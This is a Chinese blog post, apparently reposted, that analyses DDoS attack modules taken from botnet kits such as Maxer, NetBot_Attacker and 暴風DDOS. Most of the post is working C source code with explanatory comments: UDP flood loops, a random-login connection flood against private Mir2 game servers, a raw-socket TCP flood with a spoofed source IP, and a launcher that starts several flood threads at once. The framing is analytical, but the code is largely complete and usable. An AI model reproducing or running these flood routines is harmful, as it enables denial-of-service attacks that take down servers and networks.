对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇
//=================================================================================
文章作者:alalmn—飛龍
分析者:alalmn—飛龍???????BLOG:http://hi.baidu.com/alalmn
分析的不好請各位高手見諒花了幾個小時分析的呵呵
沒發現什么新鮮的東西還是以發送垃圾數據為主
//=================================================================================
Maxer-路由專攻-傳奇專攻.h
//LUYOU攻擊
DWORD?WINAPI?LuyouFlood(LPVOID?dParam)?//路由專攻????這樣是攻擊?路由嗎我看和其他發包一樣???忽悠老百姓呢
{???????????????????????????????????????//我看就socket這個地方使用了使用了UDP啊?沒什么的啊
srand((unsigned)time(?NULL?));?//產生隨機數
PDDOSINFO?pddosinfo?=?(PDDOSINFO)dParam;???//攻擊結構體
DDOSINFO?ddosinfo;???//攻擊結構體
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//復制內存
WSADATA???????????????WSAData;//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);//確定SOCKET版本
SOCKADDR_IN?udpaddr;//IP信息結構
udpaddr.sin_family=AF_INET;//sin_family?地址家族(必須是AF_INET)
????udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//將網絡地址轉換成IP地址
????udpaddr.sin_port=htons(ddosinfo.port);//存儲端口號(使用網絡字節順序)
SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//創建socket???IPPROTO_UDP是創建UDP???socket第二個參數為SOCK_DGRAM,就是代表是UDP協議~
//為了減小CPU的利用率,禁止在socket上將數據發送到緩沖。設置SO_SNDBUF為0,
//從而使winsock直接發送數據到客戶端,而不是將數據緩沖才發送。
int?nZero?=?0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char?*)&nZero,sizeof(nZero));?//設置套接口的選項?設置發送和接收的超時??????//SOCKET_ERROR創建錯誤
while(1)?//死循環
{
???if(IsStop==1)?//判斷攻擊狀態
???{
????ExitThread(0);
????return?0;
???}
???for(int?a=0;a<12;a++)
???{
????int?sendsize=rand()%512;//隨機數據
????char?senddata[1024];
????senddata[sendsize];
????memset(senddata,sendsize,sendsize);?//隨機數據長度?信息
????sendto(s,senddata,sendsize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));?????//發送TCP報文
???}
???Sleep(20);
}
}
/************************************************************************/
//LUYOU攻擊
DWORD?WINAPI?LuyouFlood(LPVOID?dParam)?//傳奇專攻???我還想著是模擬用戶登陸傳奇呢!!!!???失望
{//只設置1線程?防止IP被封
srand((unsigned)time(?NULL?));
PDDOSINFO?pddosinfo?=?(PDDOSINFO)dParam;?//攻擊結構體
DDOSINFO?ddosinfo;?//攻擊結構體
memcpy(&ddosinfo,pddosinfo,sizeof(DDOSINFO));//復制內存
WSADATA???????????????WSAData;//這個結構被用來存儲?被WSAStartup函數調用后返回的?Windows?Sockets?數據
WSAStartup(MAKEWORD(2,2)?,&WSAData);//確定SOCKET版本
SOCKADDR_IN?udpaddr;//IP信息結構
udpaddr.sin_family=AF_INET;//sin_family?地址家族(必須是AF_INET)
udpaddr.sin_addr.s_addr=resolve(ddosinfo.addr);//將網絡地址轉換成IP地址
udpaddr.sin_port=htons(ddosinfo.port);//存儲端口號(使用網絡字節順序)
SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//創建socket???IPPROTO_UDP是創建UDP???socket第二個參數為SOCK_DGRAM,就是代表是UDP協議~
//為了減小CPU的利用率,禁止在socket上將數據發送到緩沖。設置SO_SNDBUF為0,
//從而使winsock直接發送數據到客戶端,而不是將數據緩沖才發送。
int?nZero?=?0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char?*)&nZero,sizeof(nZero));?//設置套接口的選項?設置發送和接收的超時??????//SOCKET_ERROR創建錯誤
while(1)?//死循環
{
???if(IsStop==1)?//判斷攻擊狀態
???{
????ExitThread(0);
????return?0;
???}
???for(int?a=0;a<12;a++)
???{
????int?sendsize=rand()%512;//隨機數據
????char?senddata[1024];
????senddata[sendsize];
????memset(senddata,sendsize,sendsize);?//隨機數據長度?信息
????sendto(s,senddata,sendsize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));????//發送TCP報文
???}
???Sleep(20);
}
}
//=================================================================================
NetBot_Attacker-私服專攻.h
int?Mir2EnCode(BYTE?*pInBuff,DWORD?dwInLen,BYTE?*pOut,DWORD?dwOutLen)
{?
DWORD?var_20?=?0;?
BYTE?var_1B?=?0;?
BYTE?var_1A?=?0;?
BYTE?var_19?=?0;?
DWORD?var_18?=?0;?
DWORD?var_14?=?0;?
DWORD?var_10?=?0;?
DWORD?var_C?=?0;?
DWORD?var_8?=?0;?
DWORD?var_4?=?0;?
BYTE?bAL?=?0;?
BYTE?bCL?=?0;?
DWORD?dwEAX;?
DWORD?dwEDX;?
DWORD?dwECX;?
var_20?=?dwInLen?;?
while(var_20?>0)?
{?
???dwEDX?=?var_10?;?
???bAL?=?pInBuff[dwEDX];?
???var_1A?=?bAL?;?
???dwECX?=?var_14?;?
???dwECX?=?dwECX?+2;?
???bAL?=?var_1A;?
???dwEAX?=?bAL?;?
???dwEAX?=?dwEAX?>>?dwECX?;?
???bAL?=?dwEAX?;?
???bAL?=?bAL?|?var_1B;???
???bAL?=?bAL?&?0x3F;?
???var_19?=?bAL;????
???dwEAX?=?var_14?;?
???dwEAX?=?dwEAX?+2;?
???dwECX?=?8;?
???dwECX?=?dwECX?-?dwEAX?;?
???bAL?=?var_1A;?
???dwEAX?=?bAL?;?
???dwEAX?=?dwEAX?<<?dwECX?;?
???dwEAX?=?dwEAX?>>?2;?
???bAL?=?dwEAX?;?
???bAL?=?bAL?&?0x3F?;?
???var_1B?=?bAL?;?
???var_14?=?var_14?+2;?
???if(var_14<6)?
???{???
????dwEDX?=?var_18;???
????bCL?=?var_19;???
????bCL?=?bCL?+?0x3C?;???
????pOut[dwEDX]?=?bCL?;???
????var_18?=?var_18?+1;?
???}?
???else?
???{???
????dwEDX?=?var_18;???
????bCL?=?var_19;???
????bCL?=?bCL?+?0x3C?;???
????pOut[dwEDX]?=?bCL?;???
????dwEDX?=?var_18?;???
????bCL?=?var_1B?;???
????bCL?=?bCL?+?0x3C;???
????pOut[dwEDX+1]?=?bCL?;???
????var_18?=?var_18?+?2;???
????dwEAX?=?0;???
????var_14?=?0;???
????var_1B?=?0;?
???}?
???var_10?=?var_10?+1;?
???var_20?=?var_20?-1;?
}?
if(var_14?>?0)?
{?
???dwEDX?=?var_18;?
???bCL?=?var_1B;?
???bCL?=?bCL?+?0x3C?;?
???pOut[dwEDX]?=?bCL?;?
???var_18?=?var_18?+1;?
}?
dwOutLen?=?var_18;?
pOut[var_18]=0;
return?1;
}
typedef?struct
{
union
{
???DWORD?dwFlag;
???struct
???{
????WORD?wa;
????WORD?wb;
???};
};
WORD?wCmd;
WORD?w1;
WORD?w2;
WORD?w3;
char?data[1024];
}MMSG;
const?char?table[]="0123456789abcdefghijklmnopqrstuvwxyz";
unsigned?long?CALLBACK?Login_Attack(LPVOID?dParam)?//私服專攻
{
WSADATA???????????????WSAData;
WSAStartup(MAKEWORD(2,2)?,&WSAData);
SOCKADDR_IN?sockAddr;?//IP信息結構
SOCKET?m_hSocket;?//套接字
m_hSocket?=?socket(PF_INET,SOCK_STREAM,0);?//創建socket???socket第二個參數為SOCK_DGRAM,就是代表是UDP協議~?
memset(&sockAddr,0,sizeof(sockAddr));?//內存空間初始化
sockAddr.sin_family?=?AF_INET;?//sin_family?地址家族(必須是AF_INET)
sockAddr.sin_port=htons(fuckweb.FuckPort);?//存儲端口號(使用網絡字節順序)
sockAddr.sin_addr.S_un.S_addr=resolve(fuckweb.FuckIP);???//將網絡地址轉換成IP地址
MMSG?*pmsg;
????pmsg=(MMSG*)malloc(sizeof(MMSG));
????memset(pmsg,0,sizeof(MMSG));???//內存空間初始化
pmsg->wCmd=0x07d1;
int?nSize,RandSize;
char?name[22],pass[10],tempdata[128],Senddata[128];
memset(name,0,22);//內存空間初始化
memset(pass,0,10);//內存空間初始化
memset(tempdata,0,128);//內存空間初始化
memset(Senddata,0,128);//內存空間初始化
while(!stopfuck)
{?
???do?
???{
????RandSize=SEU_Rand(20);?//自定義的隨機數發生器
???}?while(RandSize<5);
???for(int?i=0;i<RandSize;i++)
???{
????name=table[SEU_Rand(36)];?//自定義的隨機數發生器
???}
???for(i=0;i<9;i++)
???{
????pass=table[SEU_Rand(36)];?//自定義的隨機數發生器
???}
???sprintf(pmsg->data,"%s/%s",name,pass);?//字符格式化
???RandSize?=?strlen(pmsg->data)?+12;?//strlen計算字符長度
???Mir2EnCode((BYTE?*)pmsg,RandSize,(BYTE?*)tempdata,nSize);?//沒明白他這個是做什么
???sprintf(Senddata,"#0%s!",tempdata);?//字符格式化
???if?(connect(m_hSocket,(SOCKADDR*)&sockAddr,?sizeof(sockAddr))?!=?0)?//連接并?查看是否可以連接
???{
????closesocket(m_hSocket);?//關閉SOCKET
????continue;?//退出本次循環
???}
???if(SOCKET_ERROR==send(m_hSocket,Senddata,strlen(Senddata),0))//發送消息?是否發送成功
????continue;?//退出本次循環
???recv(m_hSocket,tempdata,128,0);?//從一個套接口接收數據
???closesocket(m_hSocket);?//關閉SOCKET
}
return?1;
}
/************************************************************************/
路由專攻???//代碼被刪除了
pMainDlg->m_FuckWeb.FuckType=11;
智能混合攻擊????//結合著一些攻擊模式
pMainDlg->m_FuckWeb.FuckType=12;
::CreateThread(NULL,0,SynFlood,NULL,0,NULL);
::CreateThread(NULL,0,UDP_flood,NULL,0,NULL);
::CreateThread(NULL,0,icmp_flood,NULL,0,NULL);
::CreateThread(NULL,0,Pjam_attack,NULL,0,NULL);
::CreateThread(NULL,0,connect_break,NULL,0,NULL);
::CreateThread(NULL,0,TCP_flood,NULL,0,NULL);
::CreateThread(NULL,0,TCP_connect,NULL,0,NULL);
/************************************************************************/
//
暴風DDOSVIP2010-225---聊天室專用模式(流量).h
void?ltsattack()?//聊天室專用模式(流量)???聊天室都是使用UDP協議?創建協議的時候改成UDP就可以了
{
char?senddata[MAX_PATH]="夂扇i鋺.牾.砝摝c5.?軫f玴.吤3?峌贄.";?//攻擊數據
int?sendsize=strlen(senddata);?//計算數據長度
SOCKADDR_IN?udpaddr;?//IP信息結構
udpaddr.sin_family=AF_INET;?//sin_family?地址家族(必須是AF_INET)
udpaddr.sin_addr.s_addr=inet_addr(tgtIP);?//inet_addr將ip地址轉換成網絡地址
udpaddr.sin_port=htons(tgtPort);?//存儲端口號(使用網絡字節順序)
SOCKET?s=socket(AF_INET,SOCK_DGRAM,0);?//創建socket???IPPROTO_UDP是創建UDP???socket第二個參數為SOCK_DGRAM,就是代表是UDP協議~
int?nZero?=?0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char?*)&nZero,sizeof(nZero));?//設置套接口的選項?設置發送和接收的超時??????//SOCKET_ERROR創建錯誤
for?(;;)
{
???if(StopFlag==1)//是否在攻擊狀態
???{
????ExitThread(0);
????return;
???}
???for(int?a=0;a<12;a++)
????sendto(s,senddata,sendsize,0,(SOCKADDR?*)&udpaddr,sizeof(udpaddr));???//發送UDP報文
???Sleep(SleepTime);
}
closesocket(s);?//關閉SOCKET
WSACleanup();
}
/************************************************************************/
void?finattack()?
{
srand((unsigned)?time(NULL));?
WSADATA?wsaData;
WSAStartup(MAKEWORD(2,?2),?&wsaData);
SOCKET????SendSocket;?
IP_HEADER????ip_header;?
TCP_HEADER???tcp_header;?
PSD_HEADER???psd_header;
char?rawip[20]="192.168.1.244";
char?SendBuff[100];
SendSocket?=?WSASocket(?AF_INET,?SOCK_RAW,?IPPROTO_RAW,?NULL,?0,?WSA_FLAG_OVERLAPPED?);?
if(?SendSocket?==?INVALID_SOCKET?)?
???return;
BOOL?Flag?=?TRUE;?
if(?setsockopt(SendSocket,?IPPROTO_IP,?IP_HDRINCL,?(char?*)&Flag,?sizeof(Flag))?==?SOCKET_ERROR?)?
???return;
int?Timeout?=?5000;?
if?(?setsockopt(SendSocket,?SOL_SOCKET,?SO_SNDTIMEO,?(char?*)?&Timeout,?sizeof(Timeout))?==?SOCKET_ERROR?)?
???return;
SOCKADDR_IN????Sin;
Sin.sin_family?=?AF_INET;?
Sin.sin_port?=?tgtPort;?
Sin.sin_addr.s_addr?=?inet_addr(tgtIP);
ip_header.h_verlen?=?(4<<4?|?sizeof(ip_header)/sizeof(unsigned?long));?
ip_header.tos?=?0;?
ip_header.total_len?=?htons(sizeof(ip_header)+sizeof(tcp_header));?
ip_header.ident?=?1;?
ip_header.frag_and_flags?=?0x40;?
ip_header.ttl?=?rand()%256;?
ip_header.proto?=?IPPROTO_TCP;?
ip_header.checksum?=?0;?
ip_header.sourceIP?=?inet_addr(rawip);?
ip_header.destIP?=?inet_addr(tgtIP);
tcp_header.th_sport?=?htons(?rand()%60000?+?1?);
tcp_header.th_dport?=?htons(?tgtPort?);?
tcp_header.th_seq?=?htonl(?rand()%900000000?+?1?);?
tcp_header.th_ack?=?0;?
tcp_header.th_lenres?=?(sizeof(tcp_header)/4<<4|0);?
tcp_header.th_flag?=?0;
tcp_header.th_win?=?htons(512);?
tcp_header.th_sum?=?0;?
tcp_header.th_urp?=?0;
psd_header.saddr?=?ip_header.sourceIP;?
psd_header.daddr?=?ip_header.destIP;?
psd_header.mbz?=?0;?
psd_header.ptcl?=?IPPROTO_TCP;?
psd_header.tcpl?=?htons(sizeof(tcp_header));
memcpy(SendBuff,&psd_header,sizeof(psd_header));?
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));?
tcp_header.th_sum=checksum((USHORT*)SendBuff,sizeof(psd_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));?
memcpy(SendBuff+sizeof(ip_header),&tcp_header,?sizeof(tcp_header));?
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4);?
ip_header.checksum=checksum((USHORT*)SendBuff,sizeof(ip_header)+sizeof(tcp_header));
memcpy(SendBuff,&ip_header,sizeof(ip_header));?
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
while?(1)
{
???if?(StopFlag?==?1)
???{
????ExitThread(0);
????return;
???}
???for(int?a=0;a<1000;a++)
????sendto(SendSocket,?SendBuff,?sizeof(ip_header)?+?sizeof(tcp_header),?0,?(struct?sockaddr?*)?&Sin,?sizeof(Sin));
???Sleep(SleepTime);
}
return;?
}
else?if?(hua=="模擬訪問(網站)")?//代碼被刪除了
???{
????bao=6;
???}
else?if?(hua=="模擬Linux(網站)")???//代碼被刪除
???{
????bao=18;
???}
else?if?(hua=="聊天室專用模式(流量)")?//有
???{
????bao=19;
???}
else?if?(hua=="IE瀏覽模式(網站)")???//沒有對這個攻擊模式的處理
???{
????bao=25;
???}
//=========================================================
總結
以上是生活随笔為你收集整理的对现有的所能找到的DDOS代码(攻击模块)做出一次分析----其他(攻击方式)篇的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 对现有的所能找到的DDOS代码(攻击模块
- 下一篇: 3_4 IteratorMode 迭代器